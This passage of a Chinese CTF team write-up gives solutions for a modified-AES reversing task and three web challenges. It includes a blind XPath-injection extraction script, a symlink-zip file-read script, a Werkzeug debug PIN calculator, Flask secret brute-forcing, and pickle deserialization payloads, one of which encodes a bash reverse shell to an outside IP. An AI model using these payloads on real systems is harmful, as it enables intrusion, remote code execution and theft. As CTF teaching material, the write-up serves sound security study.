(\*state)\[i\]\[0\] ^= Tm ^ Tmp;

Tm = (\*state)\[i\]\[1\] ^ (\*state)\[i\]\[2\];

Tm = xtime(Tm);

(\*state)\[i\]\[1\] ^= Tm ^ Tmp;

Tm = (\*state)\[i\]\[2\] ^ (\*state)\[i\]\[3\];

Tm = xtime(Tm);

(\*state)\[i\]\[2\] ^= Tm ^ Tmp;

Tm = (\*state)\[i\]\[3\] ^ t;

Tm = xtime(Tm);

(\*state)\[i\]\[3\] ^= Tm ^ Tmp;

// Multiply is used to multiply numbers in the field GF(2^8)

// Note: The last call to xtime() is unneeded, but often ends up generating a

// smaller binary

// The compiler seems to be able to vectorize the operation better this

// way. See https://github.com/kokke/tiny-AES-c/pull/34

\#if MULTIPLY\_AS\_A\_FUNCTION

static uint8\_t Multiply(uint8\_t x, uint8\_t y) \{

return (((y & 1) \* x) ^ ((y >> 1 & 1) \* xtime(x)) ^

((y >> 2 & 1) \* xtime(xtime(x))) ^

((y >> 3 & 1) \* xtime(xtime(xtime(x)))) ^

((y >> 4 & 1) \*

xtime(xtime(xtime(

xtime(x)))))); /\* this last call to xtime() can be omitted \*/

\#else

\#define Multiply(x, y) \\

(((y & 1) \* x) ^ ((y >> 1 & 1) \* xtime(x)) ^ \\

((y >> 2 & 1) \* xtime(xtime(x))) ^ \\

((y >> 3 & 1) \* xtime(xtime(xtime(x)))) ^ \\

((y >> 4 & 1) \* xtime(xtime(xtime(xtime(x))))))

\#endif

\#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

/\*

static uint8\_t getSBoxInvert(uint8\_t num)

return rsbox\[num\];

\*/

\#define getSBoxInvert(num) (rsbox\[(num)\])

// MixColumns function mixes the columns of the state matrix.

// The method used to multiply may be difficult to understand for the

// inexperienced. Please use the references to gain more information.

static void InvMixColumns(state\_t \*state) \{

int i;

uint8\_t a, b, c, d;

for (i = 0; i < 4; ++i) \{

a = (\*state)\[i\]\[0\];

b = (\*state)\[i\]\[1\];

c = (\*state)\[i\]\[2\];

d = (\*state)\[i\]\[3\];

(\*state)\[i\]\[0\] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^

Multiply(d, 0x09);

(\*state)\[i\]\[1\] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^

Multiply(d, 0x0d);

(\*state)\[i\]\[2\] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^

Multiply(d, 0x0b);

(\*state)\[i\]\[3\] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^

Multiply(d, 0x0e);

// The SubBytes Function Substitutes the values in the

// state matrix with values in an S-box.

static void InvSubBytes(state\_t \*state) \{

uint8\_t i, j;

for (i = 0; i < 4; ++i) \{

for (j = 0; j < 4; ++j) \{

(\*state)\[j\]\[i\] = getSBoxInvert((\*state)\[j\]\[i\]);

static void InvShiftRows(state\_t \*state) \{

uint8\_t temp;

// Rotate first row 1 columns to right

temp = (\*state)\[3\]\[1\];

(\*state)\[3\]\[1\] = (\*state)\[2\]\[1\];

(\*state)\[2\]\[1\] = (\*state)\[1\]\[1\];

(\*state)\[1\]\[1\] = (\*state)\[0\]\[1\];

(\*state)\[0\]\[1\] = temp;

// Rotate second row 2 columns to right

temp = (\*state)\[0\]\[2\];

(\*state)\[0\]\[2\] = (\*state)\[2\]\[2\];

(\*state)\[2\]\[2\] = temp;

temp = (\*state)\[1\]\[2\];

(\*state)\[1\]\[2\] = (\*state)\[3\]\[2\];

(\*state)\[3\]\[2\] = temp;

// Rotate third row 3 columns to right

temp = (\*state)\[0\]\[3\];

(\*state)\[0\]\[3\] = (\*state)\[1\]\[3\];

(\*state)\[1\]\[3\] = (\*state)\[2\]\[3\];

(\*state)\[2\]\[3\] = (\*state)\[3\]\[3\];

(\*state)\[3\]\[3\] = temp;

\#endif // \#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

void swap\_xxx(state\_t \*state) \{

for (int j = 0; j < 4; j++) \{

uint8\_t a = (\*state)\[j\]\[0\];

uint8\_t b = (\*state)\[j\]\[1\];

uint8\_t c = (\*state)\[j\]\[2\];

uint8\_t d = (\*state)\[j\]\[3\];

(\*state)\[j\]\[3\] = a;

(\*state)\[j\]\[2\] = b;

(\*state)\[j\]\[1\] = c;

(\*state)\[j\]\[0\] = d;

// Cipher is the main function that encrypts the PlainText.

static void Cipher(state\_t \*state, const uint8\_t \*RoundKey) \{

uint8\_t round = 0;

// Add the First round key to the state before starting the rounds.

AddRoundKey(0, state, RoundKey);

// There will be Nr rounds.

// The first Nr-1 rounds are identical.

// These Nr rounds are executed in the loop below.

// Last one without MixColumns()

for (round = 1;; ++round) \{

if (round != Nr) \{

swap\_xxx(state);

if (round == Nr) \{

uint32\_t a = \*(uint32\_t \*)(\*state)\[3\];

uint32\_t b = \*(uint32\_t \*)(\*state)\[2\];

uint32\_t c = \*(uint32\_t \*)(\*state)\[1\];

uint32\_t d = \*(uint32\_t \*)(\*state)\[0\];

\*(uint32\_t \*)(\*state)\[0\] = a;

\*(uint32\_t \*)(\*state)\[1\] = b;

\*(uint32\_t \*)(\*state)\[2\] = c;

\*(uint32\_t \*)(\*state)\[3\] = d;

SubBytes(state);

ShiftRows(state);

if (round == Nr) \{

uint32\_t a = \*(uint32\_t \*)(\*state)\[0\];

uint32\_t b = \*(uint32\_t \*)(\*state)\[1\];

uint32\_t c = \*(uint32\_t \*)(\*state)\[2\];

uint32\_t d = \*(uint32\_t \*)(\*state)\[3\];

\*(uint32\_t \*)(\*state)\[0\] = a;

\*(uint32\_t \*)(\*state)\[3\] = b;

\*(uint32\_t \*)(\*state)\[2\] = c;

\*(uint32\_t \*)(\*state)\[1\] = d;

break;

MixColumns(state);

swap\_xxx(state);

AddRoundKey(round, state, RoundKey);

hexdump((\*state), sizeof(\*state));

hexdump(\*state, sizeof(\*state));

// Add round key to last round

AddRoundKey(Nr, state, RoundKey);

swap\_xxx(state);

\#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

static void InvCipher(state\_t \*state, const uint8\_t \*RoundKey) \{

uint8\_t round = 0;

swap\_xxx(state);

// Add the First round key to the state before starting the rounds.

AddRoundKey(Nr, state, RoundKey);

// There will be Nr rounds.

// The first Nr-1 rounds are identical.

// These Nr rounds are executed in the loop below.

// Last one without InvMixColumn()

for (round = (Nr - 1);; --round) \{

if (round == (Nr - 1)) \{

uint32\_t a = \*(uint32\_t \*)(\*state)\[0\];

uint32\_t b = \*(uint32\_t \*)(\*state)\[1\];

uint32\_t c = \*(uint32\_t \*)(\*state)\[2\];

uint32\_t d = \*(uint32\_t \*)(\*state)\[3\];

\*(uint32\_t \*)(\*state)\[0\] = a;

\*(uint32\_t \*)(\*state)\[3\] = b;

\*(uint32\_t \*)(\*state)\[2\] = c;

\*(uint32\_t \*)(\*state)\[1\] = d;

InvShiftRows(state);

InvSubBytes(state);

if (round == (Nr - 1)) \{

uint32\_t a = \*(uint32\_t \*)(\*state)\[3\];

uint32\_t b = \*(uint32\_t \*)(\*state)\[2\];

uint32\_t c = \*(uint32\_t \*)(\*state)\[1\];

uint32\_t d = \*(uint32\_t \*)(\*state)\[0\];

\*(uint32\_t \*)(\*state)\[0\] = a;

\*(uint32\_t \*)(\*state)\[1\] = b;

\*(uint32\_t \*)(\*state)\[2\] = c;

\*(uint32\_t \*)(\*state)\[3\] = d;

if (round != (Nr - 1)) \{

swap\_xxx(state);

AddRoundKey(round, state, RoundKey);

if (round == 0) \{

break;

swap\_xxx(state);

InvMixColumns(state);

\#endif // \#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

/\* Public functions: \*/

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

\#if defined(ECB) && (ECB == 1)

void AES\_ECB\_encrypt(const struct AES\_ctx \*ctx, uint8\_t \*buf) \{

// The next function call encrypts the PlainText with the Key using AES

// algorithm.

Cipher((state\_t \*)buf, ctx->RoundKey);

void AES\_ECB\_decrypt(const struct AES\_ctx \*ctx, uint8\_t \*buf) \{

// The next function call decrypts the PlainText with the Key using AES

// algorithm.

InvCipher((state\_t \*)buf, ctx->RoundKey);

\#endif // \#if defined(ECB) && (ECB == 1)

\#if defined(CBC) && (CBC == 1)

static void XorWithIv(uint8\_t \*buf, const uint8\_t \*Iv) \{

uint8\_t i;

for (i = 0; i < AES\_BLOCKLEN;

\++i) // The block in AES is always 128bit no matter the key size

buf\[i\] ^= Iv\[i\];

void AES\_CBC\_encrypt\_buffer(struct AES\_ctx \*ctx, uint8\_t \*buf, size\_t length) \{

size\_t i;

uint8\_t \*Iv = ctx->Iv;

for (i = 0; i < length; i += AES\_BLOCKLEN) \{

XorWithIv(buf, Iv);

Cipher((state\_t \*)buf, ctx->RoundKey);

Iv = buf;

buf += AES\_BLOCKLEN;

/\* store Iv in ctx for next call \*/

memcpy(ctx->Iv, Iv, AES\_BLOCKLEN);

void AES\_CBC\_decrypt\_buffer(struct AES\_ctx \*ctx, uint8\_t \*buf, size\_t length) \{

size\_t i;

uint8\_t storeNextIv\[AES\_BLOCKLEN\];

for (i = 0; i < length; i += AES\_BLOCKLEN) \{

memcpy(storeNextIv, buf, AES\_BLOCKLEN);

InvCipher((state\_t \*)buf, ctx->RoundKey);

XorWithIv(buf, ctx->Iv);

memcpy(ctx->Iv, storeNextIv, AES\_BLOCKLEN);

buf += AES\_BLOCKLEN;

\#endif // \#if defined(CBC) && (CBC == 1)

\#if defined(CTR) && (CTR == 1)

/\* Symmetrical operation: same function for encrypting as for decrypting. Note

\* any IV/nonce should never be reused with the same key \*/

void AES\_CTR\_xcrypt\_buffer(struct AES\_ctx \*ctx, uint8\_t \*buf, size\_t length) \{

uint8\_t buffer\[AES\_BLOCKLEN\];

size\_t i;

int bi;

for (i = 0, bi = AES\_BLOCKLEN; i < length; ++i, ++bi) \{

if (bi == AES\_BLOCKLEN) /\* we need to regen xor compliment in buffer \*/

memcpy(buffer, ctx->Iv, AES\_BLOCKLEN);

Cipher((state\_t \*)buffer, ctx->RoundKey);

/\* Increment Iv and handle overflow \*/

for (bi = (AES\_BLOCKLEN - 1); bi >= 0; --bi) \{

/\* inc will overflow \*/

if (ctx->Iv\[bi\] == 255) \{

ctx->Iv\[bi\] = 0;

continue;

ctx->Iv\[bi\] += 1;

break;

bi = 0;

buf\[i\] = (buf\[i\] ^ buffer\[bi\]);

\#endif // \#if defined(CTR) && (CTR == 1)

unsigned char hexData2\[176\] = \{

0x39, 0xBA, 0x3A, 0x0B, 0x1C, 0x27, 0x64, 0xA2, 0x80, 0x98, 0x31, 0x36,

0xEB, 0x9E, 0x77, 0x9E, 0x32, 0x53, 0x31, 0xFF, 0x2E, 0x74, 0x55, 0x5D,

0xAE, 0xEC, 0x64, 0x6B, 0x45, 0x72, 0x13, 0xF5, 0xD4, 0x3D, 0x71, 0x80,

0xFA, 0x49, 0x24, 0xDD, 0x54, 0xA5, 0x40, 0xB6, 0x11, 0xD7, 0x53, 0x43,

0xCE, 0xBF, 0x7F, 0x69, 0x34, 0xF6, 0x5B, 0xB4, 0x60, 0x53, 0x1B, 0x02,

0x71, 0x84, 0x48, 0x41, 0x4D, 0x1C, 0x20, 0x33, 0x79, 0xEA, 0x7B, 0x87,

0x19, 0xB9, 0x60, 0x85, 0x68, 0x3D, 0x28, 0xC4, 0x51, 0x59, 0x07, 0x17,

0x28, 0xB3, 0x7C, 0x90, 0x31, 0x0A, 0x1C, 0x15, 0x59, 0x37, 0x34, 0xD1,

0x6F, 0x92, 0x9D, 0x2F, 0x47, 0x21, 0xE1, 0xBF, 0x76, 0x2B, 0xFD, 0xAA,

0x2F, 0x1C, 0xC9, 0x7B, 0x4E, 0x87, 0x01, 0xB2, 0x09, 0xA6, 0xE0, 0x0D,

0x7F, 0x8D, 0x1D, 0xA7, 0x50, 0x91, 0xD4, 0xDC, 0xC8, 0xD4, 0x80, 0x7A,

0xC1, 0x72, 0x60, 0x77, 0xBE, 0xFF, 0x7D, 0xD0, 0xEE, 0x6E, 0xA9, 0x0C,

0x36, 0xFC, 0x1F, 0xB2, 0xF7, 0x8E, 0x7F, 0xC5, 0x49, 0x71, 0x02, 0x15,

0xA7, 0x1F, 0xAB, 0x19, 0xE2, 0xA0, 0xDF, 0xE6, 0x15, 0x2E, 0xA0, 0x23,

0x5C, 0x5F, 0xA2, 0x36, 0xFB, 0x40, 0x09, 0x2F\};

int main() \{

struct AES\_ctx ctx;

uint8\_t key\[\] =

"\\x39\\xba\\x3a\\x0b\\x1c\\x27\\x64\\xa2\\x80\\x98\\x31\\x36\\xeb\\x9e\\x77\\x9e";

uint8\_t buf\[16\] = "FFFFFFFFFFFFFFFF";

AES\_init\_ctx(&ctx, key);

memcpy(ctx.RoundKey, hexData2, sizeof(hexData2));

hexdump(ctx.RoundKey, sizeof(ctx.RoundKey));

AES\_ECB\_encrypt(&ctx, buf);

hexdump(buf, sizeof(buf));

uint8\_t bufx\[16\] =

"\\xAA\\xFE\\xE4\\xE0\\xC3\\xB3\\x24\\x16\\x4E\\x5B\\xF7\\x13\\x9E\\xE1\\xCA\\xA0";

AES\_ECB\_decrypt(&ctx, bufx);

hexdump(bufx, sizeof(bufx));

return 0;

#### **四、web** ####

#### **1.题目名称：babyjava** ####

xpath 注入，参考：https://xz.aliyun.com/t/7791\#toc-6

![ad5ddf3e881ca0883eec5e9869c0966e.jpeg][]

![91b70fbb435de13ab85518e0a1f94a2c.jpeg][]

exp：

import requests

url = 'http://eci-2zeck6h5lu4hlf0o62vg.cloudeci1.ichunqiu.com:8888/hello'

head = \{

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",

"Content-Type": "application/x-www-form-urlencoded"

strs = '\}\_\{-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'

flag = ''

for i in range(1, 100):

for j in strs:

payload\_1 = \{ \# root

"xpath":"admin' or substring(name(/\*\[1\]), \{\}, 1)='\{\}".format(i,j)

payload\_2 = \{ \# user

"xpath":"admin'or substring(name(/root/\*\[1\]), \{\}, 1)='\{\}".format(i,j)

payload\_3 = \{ \# username

"xpath":"admin'or substring(name(/root/user/\*\[2\]), \{\}, 1)='\{\}".format(i,j)

payload\_4 = \{ \# username

"xpath":"admin'or substring(name(/root/user/\*\[1\]), \{\}, 1)='\{\}".format(i,j)

payload\_7 = \{ \# flag

"xpath":"1' or substring(/root/user/username\[2\]/text(),\{\},1)='\{\}".format(i,j)

r = requests.post(url=url, headers=head, data=payload\_7)

if "This information is not available" not in r.text:

flag += j

print(flag)break

if "This information is not available" in r.text:

break

print(flag)

![a90dafab464668d5723cde120d7224c1.jpeg][]

##### **2.题目名称：OnlineUnzip** #####

题目源代码如下：

import os  
import re  
from hashlib import md5  
from flask import Flask, redirect, request, render\_template, url\_for, make\_response  
app=Flask(\_\_name\_\_)  
def extractFile(filepath):  
extractdir=filepath.split('.')\[0\]  
if not os.path.exists(extractdir):  
os.makedirs(extractdir)  
os.system(f'unzip -o \{filepath\} -d \{extractdir\}')  
return redirect(url\_for('display',extractdir=extractdir))  
@app.route('/', methods=\['GET'\])  
def index():  
return render\_template('index.html')  
@app.route('/display', methods=\['GET'\])  
@app.route('/display/', methods=\['GET'\])  
@app.route('/display/<path:extractdir>', methods=\['GET'\])  
def display(extractdir=''):  
if re.search(r"\\.\\.", extractdir, re.M | re.I) != None:  
return "Hacker?"  
else:  
if not os.path.exists(extractdir):  
return make\_response("error", 404)  
else:  
if not os.path.isdir(extractdir):  
f = open(extractdir, 'rb')  
response = make\_response(f.read())  
response.headers\['Content-Type'\] = 'application/octet-stream'  
return response  
else:  
fn = os.listdir(extractdir)  
fn = \[".."\] + fn  
f = open("templates/template.html")  
x = f.read()  
f.close()  
ret = "<h1>文件列表:</h1><br><hr>"  
for i in fn:  
tpath = os.path.join('/display', extractdir, i)  
ret += "<a href='" + tpath + "'>" + i + "</a><br>"  
x = x.replace("HTMLTEXT", ret)  
return x  
@app.route('/upload', methods=\['GET', 'POST'\])  
def upload():  
ip = request.remote\_addr  
uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()\[0:4\]  
if not os.path.exists(uploadpath):  
os.makedirs(uploadpath)  
if request.method == 'GET':  
return redirect('/')  
if request.method == 'POST':  
try:  
upFile = request.files\['file'\]  
print(upFile.filename)  
if os.path.splitext(upFile.filename)\[-1\]=='.zip':  
filepath=f"\{uploadpath\}/\{md5(upFile.filename.encode()).hexdigest()\[0:4\]\}.zip"  
upFile.save(filepath)  
zipDatas = extractFile(filepath)  
return zipDatas  
else:  
return f"\{upFile.filename\} is not a zip file !"  
except:  
return make\_response("error", 404)  
if \_\_name\_\_ == '\_\_main\_\_':  
app.run(host='0.0.0.0', port=8000, debug=True)

这里直接利用软链接就可以进行任意文件读取了。按照下面的操作来即可

![d7774f291407a7f32658a61d53256814.jpeg][]

![861c1624b8891169e94a646bcc232ccb.jpeg][]

软链接任意读文件 flag.sh /etc/passwd

\#!/usr/bin/env bash

rm flag

rm flag.zip

ln -s $1 flag

zip --symlinks flag.zip flag

![7cb31b1a47b5e134020dc0c6026e646e.jpeg][]

发现 ffffl111l1a44a4ggg

![6308e2f38c5fa23459460d0c2c97afa4.jpeg][]

可以看到这里是开启debug的。那么可以算pin来打

![d073d144bc083c19d248f8820d1ed344.jpeg][]

可以参考这个师傅算pin的文章https://blog.csdn.net/weixin\_54648419/article/details/123632203

读取发现无权限， python3.8，所以可以算 pin 码

![18b800ca906f7c11776b563c883fa9b7.jpeg][]

算 pin

import hashlib

from itertools import chain

probably\_public\_bits = \[

'ctf'\# /etc/passwd

'flask.app',\# 默认值

'Flask',\# 默认值

'/usr/local/lib/python3.8/site-packages/flask/app.py' \# 报错得到

private\_bits = \[

'95529894978',\# /sys/class/net/eth0/address 16 进 制 转 10 进 制

00:16:3e:06:84:42

\#/etc/machine-id + /proc/self/cgroup

'96cec10d3d9307792745ec3b85c896201d32e75cee611384a0f09556e07ef291176ed1454

d035521b7e624689d20583d'

h = hashlib.sha1()

for bit in chain(probably\_public\_bits, private\_bits):

if not bit:

continue

if isinstance(bit, str):

bit = bit.encode('utf-8')

h.update(bit)

h.update(b'cookiesalt')

cookie\_name = '\_\_wzd' + h.hexdigest()\[:20\]

num = None

if num is None:

h.update(b'pinsalt')

num = ('%09d' % int(h.hexdigest(), 16))\[:9\]

rv =None

if rv is None:

for group\_size in 5, 4, 3:

if len(num) % group\_size == 0:

rv = '-'.join(num\[x:x + group\_size\].rjust(group\_size, '0')

for x in range(0, len(num), group\_size))

break

else:

rv = num

print(rv)

读取 flag

上面算machine\_id有点小坑是，算pin的好多文章描述的都是(每一个机器都会有自已唯一的id，linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot\_id，docker靶机则读取/proc/self/cgroup，其中第一行的/docker/字符串后面的内容作为机器的id，在非docker环境下读取后两个，非docker环境三个都需要读取)，然后这里三个文件都有。最后各种匹配都不行。看了下算machine\_id的源码，其实就是把/etc/machine-id和/proc/self/cgroup拼接起来就行了

![afcbc5c27636bc499c000eae5f5d5334.jpeg][]

#### 3.easypickle ####

题目源码：

import base64  
import pickle  
from flask import Flask, session  
import os  
import random  
app = Flask(\_\_name\_\_)  
app.config\['SECRET\_KEY'\] = os.urandom(2).hex()  
@app.route('/')  
def hello\_world ():  
if not session.get('user'):  
session\['user'\] = ''.join(random.choices("admin", k=5))  
return 'Hello \{\}!'.format(session\['user'\])  
@app.route('/admin')  
def admin ():  
if session.get('user') != "admin":  
return f"<script>alert('Access Denied');window.location.href='/'</script>"  
else:  
try:  
a = base64.b64decode(session.get('ser\_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")  
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:  
raise pickle.UnpicklingError("R i o b is forbidden")  
pickle.loads(base64.b64decode(session.get('ser\_data')))  
return "ok"  
except:  
return "error!"  
if \_\_name\_\_ == '\_\_main\_\_':  
app.run(host='0.0.0.0', port=8888)

首先我们如果要反序列化的化，就要伪造session让自己是admin。那么我们首先就需要获取到密钥。这里的密钥是伪随机的。我们生成字典利用工具爆破出密钥即可

numbers\_str = \[str(x) for x in range(10)\]  
a=\['a','b','c','d','e','f'\]  
a+= numbers\_str  
file=open("C:/Users/Administrator/Desktop/easypickle/zidian.txt",'w')  
for b in a:  
for c in a:  
for d in a:  
for e in a:  
file.write("\{\}\{\}\{\}\{\}\\n".format(b,c,d,e))

![3d78af7b3ba53e6109ae9363a60ec4da.jpeg][]

然后利用flask-unsign工具直接跑就行了(跑得不是一般的快 flask-unsign --unsign --cookie "eyJ1c2VyIjoiYWRtaW4ifQ.YyVFUA.RSTsbveITHMSD9v0MTLMswCryRc" --wordlist "C:\\Users\\Administrator\\Desktop\\easypickle\\zidian.txt" --no-literal-eval  
\[\*\] Session decodes to: \{'user': 'admin'\}  
\[\*\] Starting brute-forcer with 8 threads..  
\[+\] Found secret key after 24960 attempts  
b'6174

![e0f2a10cc56620062b364b2c419c9738.jpeg][]

黑名单这里的逻辑是把我们的序列化的数据解码后正则，再替换，只要替换后的payload过了waf就可以了。最后反序列化的是替换前的。

那么这里其实是可以用o指令，只是也要把s指令带上，那么替换之后就变成了Os然后是可以过waf的，最后反序列化的是os.

s的指令如下。那么我们只需要把s指令和o指令合理结合即可

![fcb44df3602f49bc8ac1a7968d5ba46b.jpeg][]

本地测试一下

import pickle  
import base64  
import os  
code=b'''(S'shanghe'\\nS'shanghe'\\nd(S'shanghe'\\nS'shanghe'\\nd(cos\\nsystem\\nS'dir'\\nos.'''  
code=base64.b64encode(code)  
print(code)  
\# pickle.loads(base64.b64decode(code)

大家可以参考一下这篇文章来补一下pickle的指令https://xz.aliyun.com/t/7436\#toc-6，然后像文章里面一样利用pickle的工具库来分析payload

![8b1cbcaca9c90cdd6bfaabb1f8bfc429.jpeg][]

C:\\Users\\Administrator\\Desktop\\easypickle\\venv\\Scripts\\python.exe C:/Users/Administrator/Desktop/easypickle/3.py  
code=b'''(S'shanghe'\\nS'shanghe'\\nd(S'shanghe'\\nS'shanghe'\\nd(cos\\nsystem\\nS'dir'\\nos.'''  
0: ( MARK  
1: S STRING 'shanghe1'  
12: S STRING 'shanghe' \#这里的意思是压进去第一个字典  
23: d DICT (MARK at 0)  
24: ( MARK  
25: S STRING 'shanghe2'  
36: S STRING 'shanghe'  
47: d DICT (MARK at 24) \#再往栈里面压进去第二个字典  
48: ( MARK  
49: c GLOBAL 'os system'  
60: S STRING 'dir'  
67: o OBJ (MARK at 48) \#这里用我们逃出来的o指令进行命令执行  
68: s SETITEM \#最后s的指令就会把 o指令执行后的内容以及shanghe2的键值对压进去shanghe1的字典里面，作为新的键值对。  
69: . STOP  
highest protocol among opcodes = 1

最后直接拿flag即可。也可以编码用v指令任意命令执行反弹shell都可以

import pickle  
import base64  
import os  
code=b'''(S'shanghe'\\nS'shanghe'\\ndS'shanghe'\\n(cos\\nsystem\\nS'cat f\* >xxx'os.'''  
code=base64.b64encode(code)  
print(code)  
\# pickle.loads(base64.b64decode(code))

然后伪造即可替换原来的sesison，然后访问admin页面即可

python3 flask\_session\_cookie\_manager3.py encode -s "6174" -t "\{'user': 'admin','ser\_data':b'KFMnc2hhbmdoZScKUydzaGFuZ2hlJwpkUydzaGFuZ2hlJwooY29zCnN5c3RlbQpWXHUwMDYyXHUwMDYxXHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDYzXHUwMDIwXHUwMDI3XHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDY5XHUwMDIwXHUwMDNFXHUwMDI2XHUwMDIwXHUwMDJGXHUwMDY0XHUwMDY1XHUwMDc2XHUwMDJGXHUwMDc0XHUwMDYzXHUwMDcwXHUwMDJGXHUwMDM0XHUwMDM3XHUwMDJFXHUwMDM5XHUwMDM2XHUwMDJFXHUwMDM0XHUwMDMxXHUwMDJFXHUwMDMxXHUwMDMwXHUwMDMzXHUwMDJGXHUwMDMxXHUwMDMzXHUwMDMzXHUwMDM3XHUwMDIwXHUwMDMwXHUwMDNFXHUwMDI2XHUwMDMxXHUwMDI3Cm9zLg=='\}

参考连接：

[https://mp.weixin.qq.com/s/UucoNpyYoopJ4X7V\_CmpiA][https_mp.weixin.qq.com_s_UucoNpyYoopJ4X7V_CmpiA]

[http://www.fzwjscj.xyz/index.php/archives/48/][http_www.fzwjscj.xyz_index.php_archives_48]

Arr3stY0u战队wp

**附件下载：**

**链接：https://pan.baidu.com/s/1h9TST5S8zPs4EY5jRgZqDA 提取码：2pay**

[0b744504f1c2feed6a50e05467602b80.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/de4eb8fa3d6a4a9cbca9721b63333aa0.jpeg
[b3ea9dc01d7474f3f8bdef7c9733bee7.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/2cda8deedab14d3db6d30818386a0bef.jpeg
[invisible-watermark_dwtDctSvd.py at main _ ShieldMnt_invisible-watermark _github.com]: https://github.com/ShieldMnt/invisible-watermark/blob/main/imwatermark/dwtDctSvd.py
[4f9ad388b272dc0d8de483b7d8470d66.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/976725d2c2574961aa21257d02960856.png
[9e8e8e464bb41e8c61f952e15cb04a32.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/52b95fea78c94ead868f2a955b662980.jpeg
[5fce1c1091be9bee91cebffdfe4753bc.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/5cfaf9c3d0a444f0bc5c0661bacb387d.jpeg
[a7549f28727ce0125f7d39e0f1d3700a.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/110b5cae0adf4e4caac2151ecbfd8ee6.jpeg
[ad5ddf3e881ca0883eec5e9869c0966e.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/fea1896c78ee440f9d1d85ffa6eba042.jpeg
[91b70fbb435de13ab85518e0a1f94a2c.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/2f33a5567e76413e8b33b19b3fe07388.jpeg
[a90dafab464668d5723cde120d7224c1.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/f4d92c4a3f3f467cbf446c3a5967cf4f.jpeg
[d7774f291407a7f32658a61d53256814.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/6940b3fdde334d8291a78e5e7fa272eb.jpeg
[861c1624b8891169e94a646bcc232ccb.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/cf7b48d1a6d0450a8eac9c0bbf61c031.jpeg
[7cb31b1a47b5e134020dc0c6026e646e.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/43dc6e9793d944059e67f53081e42156.jpeg
[6308e2f38c5fa23459460d0c2c97afa4.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/edd846781c4c42a6aae1d4e73ef97b1c.jpeg
[d073d144bc083c19d248f8820d1ed344.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/c360c2435712435cad82189efee236b8.jpeg
[18b800ca906f7c11776b563c883fa9b7.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/2ebaf3abbaf149a38d5e5f8a4ce544d3.jpeg
[afcbc5c27636bc499c000eae5f5d5334.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/2075b7805fe24140a4fa488300402ee7.jpeg
[3d78af7b3ba53e6109ae9363a60ec4da.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/4bc1166a59df4145a419df9604dad930.jpeg
[e0f2a10cc56620062b364b2c419c9738.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/19baf728881442d692cadbeb08a1ffda.jpeg
[fcb44df3602f49bc8ac1a7968d5ba46b.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/23075fab630d4976861d8a2b78a3591f.jpeg
[8b1cbcaca9c90cdd6bfaabb1f8bfc429.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/06/00bb1e57bb094611955d95071868a7a6.jpeg
[https_mp.weixin.qq.com_s_UucoNpyYoopJ4X7V_CmpiA]: https://mp.weixin.qq.com/s/UucoNpyYoopJ4X7V_CmpiA
[http_www.fzwjscj.xyz_index.php_archives_48]: http://www.fzwjscj.xyz/index.php/archives/48/